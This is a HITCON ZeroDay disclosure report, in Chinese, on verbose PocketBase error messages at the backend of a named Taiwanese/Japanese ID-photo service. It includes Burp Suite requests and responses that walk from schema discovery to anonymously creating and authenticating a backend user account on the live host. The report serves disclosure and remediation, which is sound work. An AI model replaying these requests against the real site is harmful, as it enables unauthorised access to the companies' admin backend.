悟空科技股份有限公司 後台系統所使用的後端管理程式多個 API 端點回傳詳細錯誤訊息，洩漏 schema、必要參數與長度限制 - HITCON ZeroDay

0. 摘要（Summary）

https://helper.diyidphoto.com/ 使用 PocketBase 作為其後端管理程式，且是 https://diyidphoto.com/zh-tw/ 與 https://jp.diyidphoto.com/ 的後台管理頁面。

在測試時發現，當請求未先被 401 / 403 / 404 等 authentication / authorization / visibility rule 擋下時，

對 POST 端點送出空 JSON {} 或不符合規則的值，其錯誤訊息會回傳足以推測 schema 的資訊，例如必要參數、參數名稱與長度限制等；

因此可讓外部使用者逐步反推出該端點的參數及相關規則，降低 API 逆向與模糊測試等成本。

實際上，此方法可作為未授權使用者可匿名建立後台帳號並任意指定 role的前置步驟，過程如下：

1. 針對 POST /api/pb/api/collections/users/records 端點傳送空 JSON {}，根據回應的錯誤訊息，即可確認建立帳號所需參數。
2. 針對 POST /api/pb/api/collections/users/auth-with-password 端點傳送空 JSON {}，根據回應的錯誤訊息，即可確認身份驗證所需參數。
3. 依照錯誤訊息補齊 payload 後，即可匿名建立 PB user 帳號並進行身份驗證，取得 JWT 與 record 等資料。

因此，本問題不僅會暴露 API schema，更可與未授權帳號建立問題串聯。

1. 受影響功能（Affected Feature）

• 功能：網站後台 PocketBase records API 與 users auth workflow

• 受影響路徑模式： 以 /api/pb/api/collections/... 開頭之相關路徑

• 主要受影響端點：

  POST /api/pb/api/collections/users/records
  POST /api/pb/api/collections/users/auth-with-password

• 補充觀察 auth workflow 端點：

  POST /api/pb/api/collections/users/request-verification
  POST /api/pb/api/collections/users/confirm-verification
  POST /api/pb/api/collections/users/request-password-reset
  POST /api/pb/api/collections/users/confirm-password-reset
  POST /api/pb/api/collections/users/request-email-change
  POST /api/pb/api/collections/users/confirm-email-change

2. 漏洞驗證之前置條件（Preconditions for Verification）

• 需使用 Burp Suite 等 proxy 工具請求相關端點，並觀察 Response。

3. 重現步驟（Steps to Reproduce）與概念驗證（Proof of Concept）

以下重現步驟皆使用 Burp Suite 作為工具。
以下 PoC 僅整理我在實際測試中看到的重點證據。因為 HITCON 提交附件最多只能上傳 10 張圖，所以我只附足以證明主問題成立的必要代表性截圖。其餘我都有保留，若需要可再補充。

3.1 路徑 A：透過空 JSON 得知建立 PB user 帳號所需 schema

1. 在 Burp Suite 中的 Repeater 進行以下請求：

POST /api/pb/api/collections/users/records HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json

{}

送出請求後，回應建立 PB user 帳號所需參數及其名稱：

{
  "code": 400,
  "message": "Failed to create record.",
  "data": {
    "password": {
      "code": "validation_required",
      "message": "Cannot be blank."
    },
    "passwordConfirm": {
      "code": "validation_required",
      "message": "Cannot be blank."
    }
  }
}

而依照錯誤訊息補齊 request body，但故意送出較短之值，如下：

POST /api/pb/api/collections/users/records HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json

{
  "password": "123",
  "passwordConfirm": "123"
}

送出請求後，回應長度限制：

{
  "code": 400,
  "message": "Failed to create record.",
  "data": {
    "password": {
      "code": "validation_length_out_of_range",
      "message": "The length must be between 8 and 72."
    }
  }
}

1. 依照錯誤訊息修正 request body，例如：

POST /api/pb/api/collections/users/records HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json

{
  "password": "<Redacted_Password>",
  "passwordConfirm": "<Redacted_Password>"
}

送出補齊後的請求，在回應中可見以下資訊：

{
  "avatar": "",
  "collectionId": "_pb_users_auth_",
  "collectionName": "users",
  "created": "<Created_Date_Time>",
  "emailVisibility": false,
  "id": "<Id>",
  "name": "",
  "role": <Role>,
  "updated": "<Updated_Date_Time>",
  "username": "<Username>",
  "verified": false
}

這代表，錯誤訊息提供之 schema 足以協助外部使用者建立一般 PB user 帳號。

3.2 路徑 B：透過空 JSON 得知進行身份驗證所需 schema

1. 在 Burp Suite 中的 Repeater 進行以下請求：

POST /api/pb/api/collections/users/auth-with-password HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json

{}

送出請求後，回應進行身份驗證所需參數及其名稱：

{
  "code": 400,
  "message": "Something went wrong while processing your request.",
  "data": {
    "identity": {
      "code": "validation_required",
      "message": "Cannot be blank."
    },
    "password": {
      "code": "validation_required",
      "message": "Cannot be blank."
    }
  }
}

1. 依照錯誤訊息補齊 request body，例如將 identity / password 填入路徑 A 之 username / password，呈現如以下：

POST /api/pb/api/collections/users/auth-with-password HTTP/2
Host: helper.diyidphoto.com
Content-Type: application/json

{
  "identity": "<Redacted_Username>",
  "password": "<Redacted_Password>"
}

送出補齊後的請求，在回應中可見以下資訊：

{
  "record": {
    "avatar": "",
    "collectionId": "_pb_users_auth_",
    "collectionName": "users",
    "created": "<Created_Date_Time>",
    "email": "",
    "emailVisibility": false,
    "id": "<Id>",
    "name": "",
    "role": <Role>,
    "updated": "<Updated_Date_Time>",
    "username": "<Username>",
    "verified": false
  },
  "token": "<JWT>"
}

這代表，錯誤訊息提供之 schema 足以協助外部使用者對其建立的 PB user 帳號進行身份驗證，並取得相關資訊。

3.3 路徑 C：補充觀察其它 auth workflow 端點

在 Burp Suite 的 Repeater（或使用 Intruder）中，逐一對以下端點送出空 JSON {}，皆會回傳缺少的必要參數及其名稱，整理如下：

其中，request-email-change 請求需攜帶 Authorization: Bearer <JWT>；

若未攜帶有效 token，API 會先回傳 401，並顯示錯誤訊息 The request requires valid record authorization token to be set.。

上述結果顯示，多個 PB auth workflow 端點在錯誤處理時，皆會透露必要參數名稱等過度詳細的 schema 資訊。

4. 預期行為（Expected Behavior）

正常情況下，API 不應回傳足以推測內部 schema 的詳細錯誤訊息。

任何空 body / 缺參數 / 錯型別之請求應回傳一致且模糊化的錯誤訊息，例如 Invalid request body. 或 The request payload is invalid.。

5. 實際行為（Actual Behavior）

實際測試中，當請求（未被 401 / 403 / 404 等驗證或授權擋下）可進入 PB 驗證層（validation layer）時，API 會回傳詳細錯誤訊息。

外部使用者可藉此推測：

• 端點需要哪些參數
• 參數名稱
• 參數長度/格式限制

接著進一步完成請求。

6. 影響（Impact）

此問題主要影響是結構和參數規則（schema / parameter rule）資訊洩漏，可能導致以下風險：

• API schema 與參數規則被推測
• 攻擊者可自動化提交空 body、錯型別與參數猜測 payload，逐步建立 schema / parameter 字典
• 降低參數權限控管、身份驗證流程等測試成本
• 一般 PB user 帳號的註冊流程與身份驗證流程被逆向，詳見未授權使用者可匿名建立後台帳號並任意指定 role
• 可與其它 PB 漏洞串聯，例如特定端點存在錯誤訊息差異，降低後續攻擊成本

7. 可能的根本原因（Likely Root Cause）

問題主要出在 PB API 對外回傳過於詳細的錯誤訊息。

比較可能的原因包括：

1. PB API 對空 body / 缺參數 / 錯 token 的請求回傳過於具體的錯誤，並直接將錯誤訊息回傳給前端
2. 未對錯誤訊息做一致且模糊化處理，或者系統未設計一致且模糊化的錯誤訊息
3. 未區分內部除錯訊息與外部錯誤訊息

8. 嚴重性評估（Severity Assessment）

中風險（Medium-high）

理由：

• 問題發生在後台管理系統使用的管理程式 PB 端點
• 此問題可對外洩漏重要 API 所需參數、長度限制及相關規則
• 若缺乏有效速率限制，攻擊者可自動化對重要 POST 端點進行模糊測試（schema fuzzing），逐步建立結構與參數字典
• 可降低後續攻擊成本，例如串聯未授權使用者可匿名建立後台帳號並任意指定 role，可得知實際建立帳號 / 進行身份驗證流程的相關參數
• 單獨看此漏洞，並未造成敏感資料讀取或授權繞過，也不代表已取得完整的 PB／DB schema
• 被 401 / 403 / 404 先擋住的端點，不一定會進入驗證層並透露 schema

9. 補充說明（Researcher Note）

1. 本報告之測試僅限確認漏洞存在，未進行批次化、大量化或自動化操作，也未進行破壞性操作。

2. 由於此系統與技術牽涉到三家公司－台灣公司為誠和國際股份有限公司（https://www.seiwainc.com.tw/）與悟空科技股份有限公司（https://www.goqoo.com/），日本公司為株式会社喜喜（https://jp.diyidphoto.com/）。就可見資料顯示（https://twincn.com/84108618、https://www.twincn.com/80682392、https://jp.diyidphoto.com/lawOfPayment），三間公司經營者高度相關。但目前無法確定哪間公司統籌系統、技術與網站走向，並且問題可牽涉到跨國站點，因此建議同時聯絡三間公司。

以下是三間公司之相關信箱：

誠和國際：[email protected]
悟空科技：[email protected]
DIY證件照－台灣站（悟空科技）：[email protected]
DIY證件照－日本站（株式会社喜喜）：[email protected]